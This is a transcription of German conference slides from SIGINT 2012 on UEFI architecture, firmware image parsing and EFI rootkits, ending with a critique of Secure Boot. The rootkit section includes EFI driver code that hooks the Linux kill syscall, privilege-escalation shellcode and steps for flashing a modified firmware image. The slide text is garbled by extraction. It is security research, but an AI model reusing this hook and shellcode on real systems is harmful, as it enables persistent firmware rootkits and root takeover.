EFI Rootkits - Put.as

Transcription

EFI RootkitsPwning your OS before it’s even runningSIGINT 2012Andreas Galaunerandy@dexlabs.orgSunday, May 20, 12

Pwning. Einführung Architektur Firmware Images Rootkits Secure Boot AusblickSunday, May 20, 12

EinführungSunday, May 20, 12

(U)EFI (U)EFI (Unified) Extensible Firmware Interface Heute: Spezifiziert durch das UEFI Konsortium 1998 entwickelt durch Intel als Firmware für ItaniumPlattform Mitglieder sind u.a. Dell, AMI, Apple, AMD, Intel, HP,Microsoft, LenovoHauptsächlich in C geschriebenSozusagen Nachfolger des BIOSQuellcode des Basissystems ist unter BSD-Lizenz verfügbarSunday, May 20, 12

(U)EFI EFI bringt auch neues Partitionierungsschema (GuidPartition Table) MBR für 512 Byte Blockgröße nur für Platten bis2TB brauchbar Linux, Windows ab Vista SP1 (64 Bit), Windows 2000auf IA64, Mac OS (ab 10.4) unterstützen EFI Für "Designed for Windows 8"-Aufkleber ist UEFImit Secure Boot zwingend nötigSunday, May 20, 12

Spezifikation EFI ist komplett spezifiziert Vorsicht bei Spezifikation von Intel selbst: Veraltet (2003) Nur Drafts Besser: UEFI.org UEFI Specification UEFI Platform Initialization Specificationhttp://www.uefi.org/specs/Sunday, May 20, 12

ArchitekturSunday, May 20, 12

EFI System Partition 100 MB große FAT Partition Enthält EFI Applikationen Enthält zu ladende Treiber Bootloader können vom OS-Vendor installiertwerden: /EFI/ vendor /BOOT{X86,X64,.}.efi Default Loader unter /EFI/BOOT/BOOT{X86,X64,.}.efiSunday, May 20, 12

PoweronverifiesPreVerifierPlatform InitializationCPUInitOS BootOS riverDispatcherBoot ManagerOS LoaderSEC(Security)Sunday, May 20, 12PEIDXEBDSTSL(Pre-EFI Initialization) (Driver Execution Engine) (Boot Device Select) (Transient System Load)OSRT(Run Time)

Architektur EFI besteht aus 3 Kernschnittstellen: Runtime Services Boot Services Protokolle Alles Tabellen von FunktionspointernSunday, May 20, 12

Runtime Services Bleiben für den OS-Kernel die ganze Zeit über imSpeicher Angebotene Dienste: NVRAM Variablen lesen/setzen RTC abfragen/setzen System resetten EFI Capsule mit Update hinterlegen Virtuelles Adresslayout an EFI übergebenSunday, May 20, 12

Boot Services Sind für EFI Applikationen und Bootloader gedacht Angebotene Dienste:Sunday, May 20, 12Können vom OS-Kernel mit ExitBootServices()entfernt werden Speicher (De-)AllokierenProtokolle ries laden und ausführenMemory Map abfragenBootServices beenden

Protokolle Sunday, May 20, 12Libraries/Executables können Protokolle anbietenIdentifikation über GUIDNutzung über BootServicesBeispiele für Protokolle: DateisystemeTreiberNetzwerksubsystem IPv4, IPv6, TCP, UDP, DNS, DHCP, etc.Mehr Betriebssystem als Firmware.

Treiber EFI Executables oder Treiber können vonverschiedenen Quellen geladen werden: HDD (EFI System Partition) Flash (i.d.R. das Core System) PCI Option ROMs (Netzwerkboot,VGA BIOSetc.)Sunday, May 20, 12

Treiber Ladevorgang:1. Entrypoint2. Protokolle registrieren3. Auf Callbacks der Protokolle wartenSunday, May 20, 12

Firmware ImagesSunday, May 20, 12

Firmware VolumesFirmware DeviceFirmware VolumeFilePE SectionDEPEX Section Firmware kann auf verschiedenenDatenträgern liegen In der Regel NAND/NOR Flashes EDK II Buildsystem erstellt auseinzelnen Files Images Rekursive Definition des leFileFirmware VolumeFirmware VolumeSunday, May 20, 12

Firmware Images EDK kompiliert Code und baut danach das FlashImage Beschreibung der Struktur in Config Format: FDF (Flash Description File)Sunday, May 20, 12

locks 0xFFF000000x0010000010x10000x1000x00000000 0x000EC000FV FVMAIN COMPACT0x000EC000 0x14000FV SECFV[FV.FVMAIN COMPACT]FvAlignment 16ERASE POLARITY 1MEMORY MAPPED TRUE .snip. FILE FV IMAGE 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 {SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING REQUIRED TRUE {SECTION FV IMAGE MAINFV}}[FV.SECFV] .snip. INF OvmfPkg/Sec/SecMain.infINF RuleOverride RESET VECTOR day, May 20, 12

EFIPWN Selbstgeschriebener Firmware Image Parser 3 Funktionalitäten:1. Struktur ausgeben2. Inhalt strukturiert in Dateisystem dumpen3. FDF File generieren, um Image mittels EDK II neuzu bauen 1000 Zeilen PythonSunday, May 20, 12

./dump.py ./firmwares/efi vmware.bin printEFI FIRMWARE VOLUME:Total Length: 0x00200000EFI FIRMWARE FILE:GUID: 0x1b45cc0a-156a-428a-af62-49864da0e6e6Type: FREEFORM (0x02)EFI FIRMWARE SECTION:Type: RAW (0x19)Length: 0x00000014EFI FIRMWARE FILE:GUID: 0x20bc8ac9-94d1-4208-ab28-5d673fd73486Type: FIRMWARE VOLUME IMAGE (0x0b)EFI FIRMWARE SECTION:Type: GUID DEFINED (0x02)GUID: ee4e5898-3914-4259-9d6e-dc7bd79403cfDataLength: 0x000cf3ecEFI FIRMWARE SECTION:Type: RAW (0x19)Length: 0x0000000cEFI FIRMWARE SECTION:Type: FIRMWARE VOLUME IMAGE (0x17)Length: 0x00404004(Ausgabe stark gekürzt)Sunday, May 20, 12EFI FIRMWARE VOLUME:Total Length: 0x00404000

./dump.py ./firmwares/efi vmware.bin dump dumpDestination tree dumpDestination -- firmwareVolume0 -- 1b45cc0a-156a-428a-af62-49864da0e6e6 -- RAW 0 -- 1ba0062e-c779-4582-8566-336ae8f78f09 -- raw filecontent -- 1de4e900-1451-11df-a962-bf7f5912024e -- PE32 12 -- PEI DEPEX 10 -- RAW 11 -- uistring.txt -- version.txt -- 1ec0f53a-fde0-4576-8f25-7a1a410f58eb -- PE32 9 -- PEI DEPEX 7 -- RAW 8 -- uistring.txt -- version.txt -- 20bc8ac9-94d1-4208-ab28-5d673fd73486 -- LZMA uncompressed -- RAW 16 -- firmwareVolumeSectionContents -- firmwareVolume1 -- 0167ccc4-d0f7-4f21-a3ef-9e64b7cdce8b -- DXE DEPEX 74 -- PE32 75 -- uistring.txt -- version.txt(Ausgabe stark gekürzt)Sunday, May 20, 12

RootkitsSunday, May 20, 12

Rootkits1. Treiber bauen2. Treiber laden lassen3. stuff hooken (SimpleTextInputProtocol? AppleFileVault 2 Passphrase? Ouch!)4. ?5. PwnageSunday, May 20, 12

Linux-Kernel Patchen Kernel läuft zum Ladezeitpunkt noch nicht Aber Kernel ruft ExitBootServices() undSetVirtualAddressMap() auf SetVirtualAddressMap(): EFI Runtime Driver bleiben im Speicher undmüssen Pointer anhand von übergebener MemoryMap konvertieren Beispiel hier: Kill-Syscall hooken - bei “kill 7777”erlangt man lokale root-RechteSunday, May 20, 12

Ablauf1. Virtual Address Map Change Event Callbackregistrieren2. Executable EFI Runtime Speicher allokieren3. Payload in Buffer kopieren4. Warten.5. Pointer zu Buffer korrigieren6. Syscall zu Buffer mit Payload umbiegenSunday, May 20, 12

EFI STATUSEFIAPIPwnageDriverEntryPoint (IN EFI HANDLEImageHandle,IN EFI SYSTEM TABLE *SystemTable){EFI STATUS Status;//Register virtual address change handlerStatus gBS- CreateEventEx(EVT NOTIFY SIGNAL,TPL nt);ASSERT EFI ERROR(Status);1gBS- AllocatePages(AllocateAnyPages, EfiRuntimeServicesCode, 1,2&payloadPhysAddr);gBS- CopyMem((void*)payloadPhysAddr, shellcode, sizeof(shellcode));Status EFI SUCCESS;return Status;}Sunday, May 20, 1243

VOIDEFIAPINotifySetVirtualAddressMap(IN EFI EVENT Event,IN VOID *Context){gRT- ConvertPointer(EFI OPTIONAL PTR, (VOID **)&payloadPhysAddr);unsigned long long* syscalls (unsigned long long*)SYSCALL TABLE START;syscalls[62] payloadPhysAddr;}Sunday, May 20, 1265

shellcode entry:push%rdipush%rsipushmov%rbp%rsp,%rbpcmpjnz 7777, %rdi.out originalPID 7777?.elevate privileges:sub 0x10,%rspmovq 0xFFFFFFFF81091630,-0x10(%rbp)/*commit creds*/movq 0xFFFFFFFF810918E0,-0x8(%rbp)/*prepare kernel cred*/mov-0x8(%rbp),%raxmov 0x0,%ediPrivilige elevation:callq *%raxmov-0x10(%rbp),%rdxcommit creds(prepare kernel cred(NULL))mov%rax,%rdicallq *%rdxleaveqpop%rsipop%rdiret.out original:leaveqOriginalpop%rsipop%rdipushq 0xFFFFFFFF8107D7D0retSunday, May 20, 12Syscall/*sys kill*/

Treiber ‘installieren’1. Firmware dumpen2. Image mit EFIPWN zerlegen3. FDF für Image generieren4. FDF von Hand anpassen, bis neu generiertes Imagedem Alten entspricht5. Treiber hinzufügen6. Image bauen7. Image flashen, falls Chip nicht write-locked ist Neuere Macs sind write-lockedSunday, May 20, 12

DemoSunday, May 20, 12

Secure BootSunday, May 20, 12

Secure Boot Droht sich vor allem durch kommendes Windows 8zu etablieren User verlieren die Kontrolle, was auf ihrem Systemausgeführt werden darf Platformhersteller und OEMs entscheiden wasausgeführt wird und was nicht Enforcet durch signierten Code Spielekonsole, iPhone, anyone?Sunday, May 20, 12

Secure Boot Spezifikation beschreibt mehrere Keys: PK Platform KeyKEK Key Exchange KeySchlüssel liegen in sicherem Storage als Environment VariableJedes Binary muss eine gültige Signatur haben, um ausgeführtzu werden Sunday, May 20, 12Keine ModifikationenKeine Selbstgeschriebenen ProgrameKeine Malware

Platform Key Platform Key kommt vom Hardwarehersteller Signiert KEKs Private Hälfte wird benötigt um SecureBoot zudeaktivieren oder PK zu ändern (Anfrage dazu mussmit PK signiert sein)Sunday, May 20, 12

Key Exchange Key Key Exchange Keys kommen vom OS-Vendor Zur Installation müssen Sie mit PK signiert werden Erlauben Kommunikation mit der Firmware selbst Linux Foundation? Als ob.Sunday, May 20, 12

Signaturen 2 Signaturdatenbanken für Images Blacklist Whitelist Signaturen für Images können nur hinzugefügtwerden, wenn Anfrage mit einem KEK signiert istSunday, May 20, 12

FazitSecure Boot mag schön und gut für Sicherheit sein,nimmt dem User aber die Kontrolle über Hardware, dieer rechtmäßig erworben hat.Die Spezifikation sieht keinerlei Weg vor SecureBootdeaktivierbar zu machen, ausser den PK zu löschen, wasnur mit Wissen des privaten Teils davon möglich ist.Laut Wikipedia fordert Microsoft auf x86-ähnlichenGeräten eine Deaktivierung.Allerdings nicht bei ARM-Platformen.Sunday, May 20, 12

AusblickSunday, May 20, 12

Ausblick Apple Updatevorgang analysierenSignaturchecks?Selber Updates bauenRootkit Sunday, May 20, 12Cooleren Shellcode bauenWindows Shellcode?Mac OS Shellcode?Symboladressen automatisch finden

Fragen?Sunday, May 20, 12

Sourcecode ist jetzt NSunday, May 20, 12

(U)EFI (U)EFI (Unified) Extensible Firmware Interface 1998 entwickelt durch Intel als Firmware für Itanium Plattform Heute: Spezifiziert durch das UEFI Konsortium Mitglieder sind u.a. Dell, AMI, Apple, AMD, Intel, HP, Microsoft, Lenovo Hauptsächlich in C geschrieben Sozusagen Nachfolger des BIOS Quellcode des Basissystems ist unter BSD-Lizenz verfügbar